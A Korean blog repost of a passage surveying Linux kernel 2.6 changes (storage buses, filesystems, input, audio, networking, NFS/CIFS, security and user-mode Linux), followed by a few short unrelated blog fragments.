    무선 네트웍 분야에서 디바이스들은 보통 장거리 (아마추어 무선을 통한 AX.25) 디바이스와 단거리 (802.11 등) 디바이스로 나뉜다. 이들 각각의 디바이스들에 대한 지원은 리눅스 커널의 초창기인 1.2 시절부터 시작되었으며 커널 2.6에서 새로 갱신되었다. 가장 큰 변화는 단거리 무선 인터넷 기기들이 모두 "wireless"라는 부 시스템과 API로 통합되었다는 사실이다. 이런 통합은 디바이스의 종류별로 다른 설정을 해주어야 하는 문제를 해결하여 모든 디바이스에 대해 동일한 동작을 하는 사용자 프로그램의 작성을 가능하게 해준다. 이런 통합 이외에도 디바이스의 동작 상태 변경에 대한 통지라던가(로밍과 같은) 무선 디바이스에서 일어나는 주기적인 딜레이에 대한 TCP 차원의 처리와 같은 개선사항들이 포함되었다. 커널 2.4 사용자들로부터 무선 디바이스의 지원에 대한 요구가 많기 때문에 이들 많은 개선사항들이 2.4로 백포트 되어있기도 하다.

    일반적인 무선 디바이스 분야에서 IrDA와 같은 디바이스에 대해 전원 관리라던가 커널 드라이버 모델로의 통합과 같은 개선사항이 있다. 그리고, 블루투스 디바이스들에 대한 지원에 비약적 향상이 있었다. 블루투스는 IrDA와 비슷하기는 하나 시거리가 확보되지 않아도 사용 가능한 단거리 저전력형 무선 디바이스 통신 방식이다. 프로토콜로서의 블루투스는 PDA나 핸드폰, 프린터, 자동차용 디바이스들과 같은 어떤 분야에서도 사용될 수 있도록 설계된 프로토콜이다. 프로토콜 자체는 두가지 방식으로 이루어져 있는데 오디오 데이타와 같이 손실 가능성 데이타를 전송하는데 주로 쓰이는 SCO(Synchronous Connection Oriented)방식과 정밀한 데이타 전송이 필요한 부분에 쓰이는 L2CAP(Logical Link Control and Adaptation Protocol)이 그것들이다. L2CAP 프로토콜은 많은 서브 프로토콜(sub-protocol)들을 지원한다. (포인트 투 포인트 네트워킹을 위한 RFCOMM, 이더넷과 같은 네트워킹을 위한 BNEP등) 블루투스를 활용하기 위한 리눅스의 지원은 날이 갈수록 향상되어가고 있고 소비자들이 더 많은 블루투스 디바이스들을 사용하게 되면 될수록 그 지원도 향상될 것이다. 최초의 블루투스 지원은 커널 2.4에서 시작되었다는 점도 특기할 만 하다.

    블록 디바이스 지원

    스토리지 버스

    IDE/ATA(integrated DRive Electronics/Advanced Technology Attachment)나 SCSI(Small Computer System Interface)와 같이 스토리지 전용으로 사용되는 버스들은 커널 2.6 개발 과정에서 메이저 업데이트가 있었다. IDE 서브 시스템에 대한 부분이 가장 중요 한데. 확장성에 대한 문제들을 여러가지 다른 제약점을 해결하기 위해 커널 2.6의 개발 과정에서 완전히 새로 작성되었다. 예를 들어 이제 CD/RW 드라이브들은 이전 버전에서와 같이 SCSI 에뮬레이션을 통해 동작하는게 아니고 직접 디바이스와 통신할 수 있도록 개선되었다. 그리고 150MB/sec의 속도를 갖는 시리얼 ATA(S-ATA)디바이스들에 대한 지원이 추가되었다. SCSI 측면에서는 넓은 지원 범위와 확장성을 위한 여러가지 개선사항이 추가되었다. SCSI-2 멀티패스(multi-path) 디바이스에 하나의 디바이스에 2LUN을 갖는 경우에 같이 예전 방식에 대한 대한 지원도 추가되었다. (SCSI-2는 1994년으로 거슬러 올라가는 SCSI 표준의 이전 표준이다) 그리고 이제 리눅스도 윈도우와 같이 미디어의 교환을 감지해낼 수 있도록 개선되어 완전히 표준을 따르지 않는 디바이스들과도 호환성을 유지할 수 있도록 했다. 이들 기술들이 시간이 흐름에 따라 안정화 되어가기 때문에 이들에 대한 리눅스의 지원도 안정화 되어가고 있다.

    물론 그 자체로는 스토리지 버스가 아니지만 리눅스는 EDD(Enhanced Disk Device) BIOS를 직접 지원할 수 있게 되었다. EDD BIOS는 바이오스가 알고 있는 시스템에 연결된 모든 디바이스에 대한 정보를 가지고 있다. (IDE와 SCSI를 모두 포함하여) 게다가 설정사항과 기타 정보들만 가지고 오는 것이 아니라 몇가지 장점들을 더 제공한다. 예를 들어, 새 인터페이스는 리눅스가 부팅할 때 어느 디스크 디바이스를 이용했는지를 알아낼 수 있게 하는 등의 새로운 인터페이스를 제공한다. 리눅스 설치시 어느 부분에 리눅스 부트 로더를 설치할 것이지를 지능적으로 결정하게 해주는 등의 좀 더 지능적인 설치 프로그램을 작성할 수 있게해준다.

    이런 변화 사항들 이외에도 모든 버스 디바이스 타입들이 리눅스의 새로운 디바이스 모델 서브 시스템으로 통합 되었다는 점이 중요하다. 어떤 경우에는 이런 통합이 좀 우스워 보일수도 있을 것이고, 또 다른 어떤 경우에는 좀 더 심각한 변화사항들이 있는 경우도 있을 것이다. (예를 들어 디바이스가 수정이 필요한지 등에 대한 감지를 하는 로직 자체도 변화될 필요가 있다)

    파일 시스템

    리눅스에서 블럭 디바이스 시스템을 사용하는 부분은 당연히 파일 시스템을 얹어서 쓰기 위해서이다. 리눅스 커널 2.4 이후로 많은 부분에서 광범위한 개선이 있었다. 그중 가장 중요한 점들은 확장 속성(extended attribute)의 지원과 POSIX 스타일의 억세스 콘트롤 방법이다.

    일반적인 리눅스 시스템에서 ext2나 ext3 시스템을 사용한다. (ReiserFS가 세번째로 많이 쓰인다) 이들이 사용자들이 가장 많이 사용하는 시스템이기 때문에 개발 과정에서도 이들에 대한 개선 사항이 가장 많았다. 이들에 대한 가장 중요한 개선점은 확장속성(또는 메타데이타라고도 부른다)에 대한 지원이었다. 각각의 파일에 대한 속성들을 파일 시스템 내에 저장해 두는 것이다. 이들 속성 중 몇가지는 시스템이나 root 에 의해서만 읽고 쓸수 있도록 된다. 윈도우나 맥 OS와 같은 다른 운영체제들은 이미 이러한 기능을 사용하고 있다. 불행하게도 기존의 유닉스용 프로그램들은 이들 정보를 제대로 인식하거나 사용하지 못하는 경우가 많아 (tar등) 이들을 업데이트 해주지 않으면 안된다. 확장 속성이 이용된 가장 첫번째 분야는 POSIX 스타일의 억세스 콘트롤을 위한 부분이었다. 이것은 유닉스 스타일의 권한 체계보다 좀 더 확장되어 세밀한 권한 설정이 가능하도록 하는 시스템이다. ext3에 대한 이런 변화 말고도 몇가지 변화된 부분들이 있는데 저널링을 사용할 때 커밋(commit)시간을 전원 관리등을 설정해서 사용하는 노트북 유저들을 위해 튜닝될 수 있도록 수정되었다. 이 정보들은 파일 시스템 내에 저장되어 마운트 할 때마다 새로 지정해줄 필요가 없다. 그리고 디렉토리 내부의 파일 검색을 좀 더 빠르게 하기 위해 디렉토리가 인덱스 되었다는 표시를 해둘 수가 있다.

    리눅스의 고전적 파일 시스템 이외에도 리눅스 커널은 XFS등과 같이 새로운 파일 시스템에 대한 지원도 포함한다. 이 파일 시스템은 Irix 시스템에서 기본으로 설정되는 XFS 파일 시스템에서 나온 것이고 블럭 레벨에서 호환성이 있다. ext3나 Reiser와 같이 루트 디스크에 쓰일 수 있고 확장 속성이나 ACL과 같은 새로운 기능들을 지원한다. 많은 배포본들이 리눅스 2.4 기반에 이 파일 시스템을 지원하기 시작했다. 하지만 어떤 파일 시스템이 최후의 승자가 될지는 아직 더 지켜봐야 할 것이다.

    이외에도 리눅스는 파일 시스템 내부나 외부적으로 독점 운영체제와의 호환성을 개선시키기 위한 많은 개선사항이 있다. 우선 리눅스 2.6은 MS 윈도우의 논리 디스크 매니저(Logical Disk Manager)를 지원한다. 이것은 다이나믹 디스크라고 불리는 기능이다. 윈도우 2000이후 버전의 윈도우에서 파티션의 크기 조정을 자유롭게 하기 위해 새로 도입한 파티션 테이블 방식이다. (물론 리눅스 배포본에서 이 시스템을 사용할 것 같지는 않다) 리눅스 2.6은 또한 NTFS 파일 시스템에 대한 지원 부분을 완전히 재작성 하여 NTFS 볼륨에 대한 읽기 쓰기가 가능해졌다. (물론 쓰기에 대한 부분은 아직은 실험적이고 점진적으로 개선될 것이다.) 마지막으로 리눅스는 FAT12에 대한 지원 부분이 개선되어 몇몇 이 포맷을 사용하는 mp3 플레이어에 생기는 문제점들이 개선되었다. 확장속성 지원이 HPFS 파일 시스템에도 포함되었다. 이전 버전에서도 그랬지만 리눅스는 2.6에서도 다른 운영체제와 잘 섞여 사용할 수 있는 "스위스 군대 칼"과 같은 존재로서의 위상을 강화해 나가고 있다.

    이들 변화 사항 말고도 리눅스 파일 시스템에 대한 많은 변화가 있었다. 할당량(Quota) 지원 부분이 좀 더 많은 사용자들을 지원하기 위해 재작성되었고, 각각의 디렉토리들이 동기적으로 동작할 수 있도록 개선되었다. (이것은 메일 시스템이나 디렉토리 기반의 데이타베이스 등의 시스템에 유용한데 디스크가 손상된 경우의 복구에 좋다) CD-ROM 등에 쓰이는 ISO9660 파일 시스템에서 투명한 압축이 지원되며 메모리 기반의 파일 시스템인 hugetlbfs가 새로 추가되어 공유 메모리 데이타베이스에 대한 지원이 강화되었다.

    입출력 지원

    대부분의 컴퓨터 시스템들은 외부와 연결될 때 그리 중요해 보이지 않는 입출력 장치로 연결된다. 이에는 마우스와 키보드, 사운드 카드, 비디오 카드, 조이스틱과 같은 디바이스들이 포함된다. 리눅스 2.6 개발 과정 중에 많은 기기들에 대한 지원이 추가되었지만 기본적인 디바이스들은 그 이전부터 이미 지원되어 왔고 이미 충분히 안정적이다. 외부 버스 지원과 Bluetooth 지원 등과 같은 부분의 개선 덕분에 디바이스들에 대한 지원이 확장되게 되었다. 많은 부분에서 큰 개선이 있었다.

    HID(Human Interface Devices)

    커널 2.6의 내부 변화중 가장 큰 것들 중 하나가 바로 휴먼 인터페이스 레이어가 재작성된 것이다. 휴먼 인터페이스 레이어는 리눅스 시스템에 대한 사용자들의 접점을 규정하는 가장 핵심이 되는 부분이다. 커널 새 버전에서는 이 레이어에 대해 이전 버전보다 더 큰 작업이 행해졌고 더 모듈화 되었다. 이제는 디스플레이와 같이 필수적이라고 생각했던 것들이 없어도 시스템 구성이 가능하다. 철저하게 모듈화 되어서 그렇다. 이런 모듈화의 가장 큰 장점은 임베디드 디바이스에 대한 개발이 손쉬워졌다는 것이다. 넣고 싶은 기기를 넣고 빼고 싶은 기기를 뺄 수 있으며 대신 네트웍이나 시리얼 포트를 통해서 제어한다던지 하는 일들이 가능해졌다. 하지만 사용자들의 측면에서는 다른 측면에서의 장점이 생긴다. 예를 들어 PC를 가지고 있다면 무조건 표준 AT(i8042)기반의 키보드가 있어야 한다던지 하는 기본 전제를 무시할 수 있게 된 것이다.

    리눅스의 모니터 출력을 지원하는 부분에도 많은 변화가 있었다. 물론 커널 내부의 프레임버퍼 서브 시스템을 사용하는 경우에만 해당되는 경우가 대부분이지만. (인텔 기반의 리눅스 시스템들은 대부분 그렇지 못하다) 필자 개인적 의견으로는, 이 기능의 가장 좋은 점은 부팅 시에 귀여운 팽귄 로고가 24bpp의 해상도로도 지원될 수 있게 된 점이다. 그리고, 콘솔 자체도 리사이즈 되거나 회전할 수 있게 되었고(PDA등에서 유용할 것이다) 좀 더 많은 하드웨어를 지원한다. 마지막으로, 리눅스 커널에 VESA(Video Electronics Standard Association) 모니터들에 대해 그들의 기능에 대한 쿼리를 날릴 수 있다. 물론 이런 일들은 XFree86에서는 이미 하고 있던 일들이기는 하다.

    이런 큰 변화점들 말고도 리눅스 2.6은 또한 사용자와 상호작용하는 측면에서 작은 변화들을 많이 포함하고 있다. 예를 들어, 터치 스크린이 이제 지원된다. 마우스와 키보드 드라이버들도 표준화 되어 동일한 디바이스 노드를 가지게 되었다.(예를 들어 마우스는 /dev/input/mouse0) 복잡한 마우스들(휠이 여러개라던가)도 이제 지원된다. PC 키보드 매핑에 대한 부분도 개선되어 표준 윈도우 키보드도 지원된다. XBox 게임패드등 조이스틱에 대한 지원도 많은 드라이버들이 나와주어서 상당히 개선되었다. 포스 피드백 지원도 포함되었다. 마지막으로, Tieman Voyager 브라이유(braille) 점자 TTY 디바이스에 대한 지원이 포함되었다. (이 기능은 리눅스 2.4에도 백포팅 되었을 정도로 중요한 기능이다)

    한가지 덧붙이면, 리눅스에는 로컬 키보드를 갖지 않은 시스템을 위한 "시스템 리퀘스트(system request)"인터페이스에 작은 변화가 생겼다. 시스템 리퀘스트(sysrq) 인터페이스는 시스템 관리자가 콘솔에서 디버깅 정보를 얻고 시스템을 리부팅 하고 파일 시스템을 읽기 전용으로 마운트 해서 여러가지 일들을 할 수 있도록 만들어졌다. 리눅스 2.6에서 키보드 등이 없는 시스템을 지원하므로 이들 이벤트들을 /proc 파일 시스템을 통해 발생시키도록 할 수 있게 되었다. (물론 시스템이 멈추거나 한 경우에는 별 도움이 안되겠지만)

    오디오 & 멀티미디어

    리눅스 2.6으로 넘어오면서 사용자들이 가장 기다렸던 추가 기능 중 하나가 ALSA(Advanced Linux Sound Architecture)이다. 이전의 사운드 시스템인 OSS(Open Sound System)이 그동안 사용되어 왔지만 몇가지 구조적 제약사항들 때문에 대치되게 되었다. 첫번째 개선사항은 기반부터 철저하게 쓰레드와 SMP에 안전하도록 설계되었다는 점이다. 이전에는 데스크탑은 무조건 CPU를 하나만 갖는다는 가정 하에 동작하도록 되어 있었다. 더욱 중요한 점은 대단히 모듈화 되어 새로운 사운드 카드의 지원도 손쉬워 졌다는 점이다. 물론, 내부가 아름다와 졌다고 해도 외부에 보이는 기능 개선이 없다면 사용자 측면에서는 별 의미가 없을 것이다. 새로운 사운드 시스템은 상당히 많은 강력한 기능들을 가지고 있다. 가장 큰 기능들을 꼽아보면 새로운 사운드 디바이스(USB오디오나 MIDI디바이스)들에 대한 지원, 전이중(full-duplex) 재생과 녹음 기능, 하드웨어 믹싱, 사운드 디바이스들의 통합 작동 등등이다. 오디오 기능에 대한 매니아이건 MP3만 듣는 정도의 사용자이건 무척 환영할 만한 기능들이다.

    간단한 오디오 재생뿐 아니라 근래의 사용자들이 원하는 기능들은 상당히 다양하다. 웹캠, 라디오 또는 TV 어댑터, 디지탈 비디오 레코더 등도 포함된다. 이 세가지 경우에 대해 리눅스 2.6에서의 지원이 개선되었다. 리눅스에서 이전에도 이미 라디오 카드나 TV 튜너, 비디오 카메라 등을 지원해왔으나 극히 최근의 일이다. Video4Linux(V4L)이라고 불리는 이 시스템에 많은 개선사항이 추가되어 최신버전에서는 API의 정리작업이 수행되었고 좀 더 많은 기능들이 추가되었다. 새로운 API는 이전 버전의 API와 호환되지 않아 이전 버전의 API를 사용하는 응용 프로그램은 새로 업그레이드 해야 한다. 또다른 특기사항을 리눅스 2.6에서는 디지탈 비디오 방송(DVB) 하드웨어에 대한 지원을 포함한다. 셋탑 박스 등에서 사용하는 이런 하드웨어는 리눅스 시스템을 Tivo와 같은 디바이스로 변신시킬 수 있는 기능을 제공한다.

    소프트웨어 개선사항들

    네트워킹

    항상 최신의 네트워킹 지원이 리눅스의 가장 중요한 인기 포인트 중 하나였다. 리눅스는 이미 TCP/IP(v4 & v6), Apple Talk, IPX등과 같이 가장 인기있는 네트웍 프로토콜들을 지원한다. (지원하지 않는 것들 중에는 NetBEUI같은것도 있기는 하다) 다른 서브 시스템들의 변화와 마찬가지로 네트웍 하드웨어에 대한 변화들은 지극히 내부의 일이고 겉에서는 잘 알아차리기 힘들다. 하부 구조들은 디바이스 모델과 디바이스 드라이버들이 새로이 업데이트 된데에서 많은 장점을 얻었다. 예를 들어, 리눅스는 현재 여러 네트웍 디바이스 드라이버들이 사용하던 MII(Media Independent Interface 또는 IEEE802.3u) 서브 시스템을 가지게 되었다. 이 새로운 서브 시스템은 각각의 디바이스들이 조금씩 다르게 다루던 부분들을 모두 수정하게 된다. 다른 변화들은 ISDN 업데이트와 같은 것들이 있다.

    소프트웨어 측면에서 가장 큰 변화중 하나는 IPsec 프로토콜의 지원이다. IPsec 또는 IP Security라는 프로토콜은 IPv4와 IPv6에서 네트웍 프로토콜 레벨에서 암호화 보안을 사용 가능하게 해주는 프로토콜의 집합이다. 보안 기능이 프로토콜 레벨에 들어가기 때문에 응용 프로그램들에서는 이것들을 의식해서 새로 작성하거나 할 필요가 없다. 이것은 SSL이나 터널링/보안 프로토콜과 동일한 개념이지만 그보다 좀 더 저수준이다. 현재 커널에서 지원하는 암호화는 SHA(Secure Hash Algorithm)나 DES(Data Encryption Standard)등을 포함한다.

    프로토콜의 다른 부분에서는 리눅스는 멀티 캐스트 네트워킹에 대한 지원이 강화되었다. 멀티캐스트 네트웍은 한개의 패킷을 보내면 여러 대의 컴퓨터에서 그 패킷을 받게 되어 있는 네트웍이다. (기존의 포인트-투-포인트 방식의 네트웍과 비교해 생각해보라) 이는 Tibco와 같은 메시징 시스템이나 오디오/비디오 컨퍼런스 소프트웨어에 사용된다. 리눅스 2.6은 MLDv2(Multicast Listener Discovery)와 IGMP3(Internet Group Messaging Protocol)과 같은 몇가지의 SSM(Source Specific Multicast) 프로토콜들을 지원한다. 이들은 Cisco와 같은 하드웨어 네트워킹 벤더들에 의해 지원되는 표준 프로토콜 들이다.

    리눅스 2.6은 또한 LLC 스택을 분리구현했다. LLC는 Logical Link Control 프로토콜(IEEE 802.2)인데 NETBeUI나 IPX, Appletalk과 같은 몇몇 일반적인 고수준의 네트웍 프로토콜의 기반을 이루는 저수준 프로토콜이다. 변화의 일부로는 IPX, Appletalk, 토큰 링 드라이버들이 새 서브시스템의 이득을 보기 위해 새로이 작성되었다. 외부 프로젝트로 NetBEUI 프로토콜 스택을 작성하는 프로젝트가 진행되고 있는데 이것이 커널 내부로 병합될지는 두고 봐야 할 것이다.

    이것들 이외에도 작은 변화들이 상당히 많다. IPv6에 많은 변화들이 가해졌고 토큰 링 네트워크에서도 동작하게 되었다. 리눅스의 NAT/masquerading 지원은 다중 접속을 필요로 하는 프로토콜들(H.323, PPTP등)에 대해서도 잘 지원하도록 수정되었다. 리눅스에서 VLAN을 설치하는 것은 이제는 더 이상 "실험적"이라고 할 수 없다.

    네트웍 파일 시스템

    리눅스의 유연한 네트웍 프로토콜 지원의 상단에는 역시나 유연한 네트웍 파일 시스템 지원이 존재한다. 네트웍 파일 시스템을 노출(export)하고 마운팅하는 것은 커널이 직접 관리하는 고수준의 네트웍 동작이다. (역시 비슷하게 응용 프로그램에서 파일처럼 사용하게 되는 네트웍 블록 디바이스들은 2.6에서 그리 큰 변화가 있지 않았다) 그외의 네트웍 동작들은 대부분 사용자 스페이스로 밀려갔고 커널 개발자들의 영역에서 다소 멀어졌다.

    리눅스와 유닉스 호환 운영체제의 세계에서 가장 중요한 네트웍 파일 시스템은 NFS(Network File System)이다. NFS는 매우 복잡한 파일 공유 프로토콜이며 유닉스에 깊은 뿌리를 박고 있는 파일 시스템이다 (특히나 썬의 솔라리스에서의 구현은 더 그렇다) NFS는 TCP나 UDP등을 사용할 수 있지만 몇가지 별도의 RPC(Remote Procedure Call)를 기반으로 동작하는 서브 프로토콜들도 필요로 한다. 이것들은 인증을 위한 "mount" 프로토콜과 파일 록킹을 위한 NLM(Network Lock Manager)등을 포함한다. (일반적인 구현 버전들은 대부분 또다른 RPC 기반의 프로토콜인 NIS에 인증등의 기능을 의지한다. NIS와 그 비슷한 것들은 보안상 그리 안정적이지는 않기 때문에 리눅스 머신에서는 일반적으로 많이 쓰이지는 않는다) NFS가 널리 쓰이는 인터넷 프로토콜의 위치를 차지하지 못한 것은 그 복잡함 때문일 것이다.

    리눅스 2.6에서는 NFS는 많은 개선이 있었다. 가장 큰 개선이라면 서버나 클라이언트에 새로운 NFSv4 프로토콜을 실험적으로 지원한다는 것이다. (이전 버전의 리눅스에서는 v2나 v3만 지원했었다) 새 버전은 좀 더 강력하고 안전한 암호에 기반한 인증을 지원하며 좀 더 지능적인 록킹(locking)과 가짜 파일 시스템(pseudo-filesystem)을 지원한다. NFSv4의 모든 기능이 아직 구현되지는 않았지만 지원 자체가 제법 안정적이어서 중요한 서버에서도 사용될 수 있을 만큼의 안정성을 보인다. 추가적으로 리눅스의 NFS서버 구현은 좀 더 확장성 있게 설계되었다 (64배 더 많은 동시 사용자와 더 큰 요청 큐를 가진다). 그리고 좀 더 완전하고(TCP와 UDP상에서 동작), 좀 더 유연하며, 좀 더 쉽게 유지보수가 가능하다. (시스템 콜이 아닌 nfsd 파일 시스템을 통해서 가능하다) 별도로 분리된 lockd와 nfsd, 지원되는 인터페이스에 대한 zero-copy 네트워킹 등의 숨겨진 변화들도 많다. NFS는 시스템 관리자가 커널의 lockd 포트 번호를 할당할 수 있도록 하여 비교적 손쉽게 보안을 강화할 수 있도록 하였다. NFS 클라이언트 사이드는 또한 캐쉬 구조와 UDP를 통한 연결 콘트롤, 기타 TCP에 가해진 개선사항등 하부의 RPC 프로토콜에서 이득을 본다. 리눅스에서 NFS 볼륨을 루트 파일 시스템으로 사용하는 것은 (디스크 없는 시스템과 같이) TCP 상의 NFS가 지원되도록 개선되어 가능하도록 되었다.

    이와 같은 유닉스 스타일의 네트웍 파일 시스템 이외에도 리눅스 2.6에서는 윈도우 스타일의 네트웍 파일 시스템에 대해서도 많은 개선이 있었다. 윈도우 서버군에서 표준으로 사용하는 공유 파일 시스템인 SMB 프로토콜에 대한 지원이 더 강화되었다. 물론 윈도우 2000에서는 SMB 프로토콜보다 좀 더 개선된 버전인 CIFS(Common Internet Filesystem)이라는 것이 표준화 되었다. 이 업그레이드는 프로토콜 자체가 특정 시점에 엉망이 되는 것을 막고 좀 더 잘 동작하도록 하는데 목표가 있다. (프로토콜 자체가 많이 개량되어 결국 어떤 시점에서부터 윈도우 NT나 윈도우 2000과 윈도우 95/98/ME와 호환이 되지 않게 되었다) CIFS는 그 목적 이외에도 유니코드 지원, 파일 록킹 기능 개선, 하드 링크, NetBIOS에 대한 의존성 제거, 그리고 윈도우 사용자들을 위한 몇몇 기능 개선이 추가되었다. 그래서 한동안 리눅스 사용자들은 CIFS와 제대로 공유할 수 없었으나 리눅스 2.6부터는 CIFS에 대한 지원이 완전히 재 작성되어 완벽하게 호환이 된다. 리눅스 2.6에는 SMB와 CIFS 프로토콜의 확장인 SMB-UNIX 익스텐션에 대한 지원이 추가되어 Samba와 같은 SMB서버에 윈도우 파일 타입이 아닌 파일 타입(디바이스 노드나 심볼릭 링크 등)을 지원할 수 있게 되었다. 근래에는 드물게 리눅스는 노벨 넷웨어에 대한 지원도 빼먹지 않았다. 리눅스 2.6에서는 내장된 NCP(Netware Core Protocol) 파일 시스템 드라이버를 통해 256개 까지의 공유를 마운트 할 수 있다.

    리눅스 2.6은 하나의 로지컬 볼륨에 존재하는 파일들이 여러개의 노드들에 분산되어 있을 수 있는 비교적 새로운 종류의 분산 네트워크 파일 시스템을 지원한다. 리눅스 2.4에서 지원이 시작된 CODA 파일 시스템 이외에도 AFS와 InterMezzo에 대한 지원이 추가되었다. AFS는 Andrew Filesystem(CMU에서 개발되어 이름이 저렇다)은 아직은 매우 제한적이고 읽기 전용으로 밖에 동작하지 않는다. 두번째 새로 지원되는 파일 시스템인 InterMezzo(역시 CMU에서 개발되었다)는 리눅스 2.6에서 지원되기 시작했는데 비접속 기능(로컬에서 동작하도록 하는)과 같은 높은 수준의 기능들의 동작이 가능하며 반드시 디스크의 공간이 존재해야만 하는 종류들의 응용 프로그램에 사용될 수 있다. 물론 여러대의 시스템, 노트북이나 PDA 또는 데스크탑 컴퓨터 등에서 서로의 파일 내용을 싱크할 수 있는 기능도 내장되어 있다. 새로운 파일 시스템을 지원하기 위한 프로젝트들이 존재한다.

    기타 기능들

    보안

    리눅스 2.6에서 새로 부각된 부분이지만 주목을 많이 못받고 있는 분야가 보안 관련 분야이다. 가장 기본적으로 근래에는 커널 기반의 보안(유닉스에서의 root 사용자의 권한) 자체도 모듈화 되어서 여러가지 보안 모델 중 하나가 되어 버렸다. (어쨌거나 현재까지 기본적으로 제공되는 모델이고 새로운 모델에 대해서는 어떻게 만들 수 있는지 보여주는 것에 불과하다) 이런 변화중 하나로 커널의 모든 부분이 대단히 세부적인 억세스 콘트롤 기반을 기초로 사용하도록 수정되었다. 물론 대부분의 리눅스 시스템들은 이러한 root 기반의 보안 모델을 계속 사용하겠지만 이런 기본적인 부분들이 없이도 시스템이 구성될 수 있다. 또 다른 보안 관련 변화 중 하나는 바이너리 모듈(하드웨어 개발 업체에서 제공하는 드라이버와 같은)들이 더 이상 시스템의 시스템 콜 테이블을 수정하여 시스템 콜을 오버로딩할 수 없도록 수정되었다는 점이다. 이것은 오픈 소스가 아닌 모듈들이 커널이나 기타 GPL 기반의 소프트웨어에 보안상의 헛점을 만드는 것을 더 이상 용납하지 않는다는 점에서 보안이 한층 강화됨을 뜻한다. 또 하나의 보안 관련 변화 사항은 리눅스 커널이 이전에 사용되던 하드웨어 변동에 기반한 엔트로피 풀 방식의 랜덤 넘버 제네레이터 대신 하드웨어 랜덤 넘버 제네레이터를 사용할 수 있게 되었다는 것이다. (몇몇 프로세서에 내장되기 시작했다)

    리눅스의 가상화

    리눅스 2.6의 가장 재미있는 새 기능중 하나는 유저 모드(user-mode) 아키텍쳐를 채용하기 시작했다는 것이다. 이것은 리눅스를 리눅스 자체로 포팅해서 리눅스 상에서 리눅스가 실행된다는 의미이다. 리눅스의 새 인스턴스는 완전히 보통의 응용 프로그램인 것 처럼 실행되게 된다. 응용 프로그램 내부에서 가짜 네트웍 인터페이스나 파일 시스템, 호스트의 디바이스와 통신하도록 만들어진 특수한 디바이스 드라이버를 통해 디바이스를 지원할 수 있게 된다. 이것은 (profiling등) 개발을 위해서나 보안 분석을 위해서 대단히 바람직한 것으로 밝혀졌다. 물론 상당수의 사용자들은 이런 기능을 필요로 하지 않겠지만 대단히 멋진 기능임에 틀림이 없다. (친구들을 감동시켜 보라!)

    랩탑 지원

    앞서 이야기 한 일반적인 지원들(APM, ACPI, 무선 네트웍 지원등) 이외에도 리눅스는 랩탑 사용자들을 위해 두가지의 분류하기 어렵지만 유용한 새로운 기능들을 제공한다. 첫번째는 소프트웨어 서스펜드 기능 기능(software-suspend-to-disk)이다. 아직은 약간의 버그가 남아 있지만 많은 경우 별다른 문제 없이 사용이 가능한 수준이다. 또 하나의 기능은 시스템 전원이 연결 되어 있는지 여부에 따라 프로세서의 속도를 자동으로 바꾸어 주는 기능이다.

    설정 관리(Configuration Management)

    리눅스 2.6은 몇몇 작은 기능 개선을 가지고 있다. 주로 개발자들이 커널의 문제에 대해 디버깅을 할 때 큰 도움을 받을 기능이지만 여러대의 서버를 관리해야 하는 관리자들을 위해서도 유용한 기능이다. 간단하게 이야기 해서 커널에 커널 파일 자체의 설정 파일을 내장시킬 수 있다. 여기에는 커널 설정의 각종 옵션들에 대한 정보들이 함께 기록되며, 어떤 컴파일러가 사용되었는지와 기타 동일한 커널을 컴파일 하기 위해 필요한 여러 환경들을 담고 있다. 이 정보들은 /proc 인터페이스를 통해 살펴볼 수 있다.

    기존 응용 프로그램 지원

    리눅스 커널 2.6이 메이저 업그레이드이긴 하나 사용자 응용 프로그램에서 변화시켜야 할 부분의 거의 없는 것이나 마찬가지이다. 하나의 예외는 쓰레딩에 대한 부분이다. 어떤 응용 프로그램들은 2.4나 2.2에서는 허용되었으나 그 이후에는 허용되지 않는 작업을 하는 경우가 있을 수 있다. 이것들은 어쨌거나 예외적으로 취급해야 한다. 물론 모듈 유틸리티와 같은 저수준에서 동작하는 프로그램들도 동작하지 않을 것이다. 추가적으로, /proc과 /dev에 존재하는 몇몇 파일들과 그 형식이 변화되어 여기에 의존적으로 작성된 응용 프로그램들은 제대로 동작하지 않을 가능성이 있다. (새로운 /sys 버추얼 파일 시스템으로 많은 부분들이 옮겨져서 그렇기도 하다. 호환성을 위해서 /dev 디바이스 이름들도 쉽게 설정할 수 있기는 하다)

    이런 것들에 추가적으로 많은 부분이 변경되었다. 첫번째로 리눅스 2.0 이나 그 이전에 만들어진 스왑 파일들은 새로 포맷을 해야 한다. (스왑 파일에는 별다른 중요한 내용이 저장되지는 않기 때문에 대부분의 경우 문제가 되지는 않을 것이다) 아파치나 Zeus등의 웹서버들이 커널 수준의 속도에 접근 할 수 없도록 막는 병목이 제거 되었으므로 커널이 웹 페이지를 직접 서비스 할 수 있는 kHTTPd 데몬이 제거 되었다. Dos/윈도우에서 대용량 하드디스크의 사용을 위한 OnTrack이나 EzDrive등의 디스크 매니저에 대한 자동 감지 기능이 제거 되었다. 마지막으로 플로피 디스크에서 부팅을 하기 위한 특수한 형태의 커널 부트 섹터가 제거되었다. 이제는 SysLinux를 사용해야 한다.

    마치며

    이 문서는 BitKeeper의 changelog와 소스 여기 저기를 뒤져보고 메일링 리스트의 내용들을 검토하고 Google과 Lycos의 검색 결과를 이리저리 뒤져보아서 작성한 문서이다. 그래서 혹시 잘못된 내용이 포함되어 있거나 중요한 내용이 빠져있거나 필자가 오해하고 있는 부분이 있을 수 있다. 혹시라도 잘못된 내용을 찾게 된다면 필자의 이메일인 jpranevich at kniggit.net 으로 메일을 보내어 수정해주기 바란다.

    이 문서의 새 버전은 항상 http://kniggit.net/wwol26.html 에 올려놓고 있다.

    번역

    이 문서는 영어 이외에도 아래와 같이 여러가지 언어로 번역되어 있다.

    Posted by tornado
    |

    늙어서 자꾸 까먹네...

     

    /etc/sysconfig/network 파일에서 입력한다...

    Posted by tornado
    |

    그냐아아아앙 써봄.....

     

     

     

    '이것저것 > 낙서장' 카테고리의 다른 글

    [펌] 술 주정의 모든 것  (0) 2004.06.23
    [펌] 공감 가는 야그*^^*  (0) 2004.06.22
    [펌] Metallica - Master of Puppets  (0) 2004.05.29
    [펌] Coldplay - Trouble  (0) 2004.05.24
    [펌] 실수.  (0) 2004.05.20
    Posted by tornado
    |

    다. nmap 탐지결과 분석

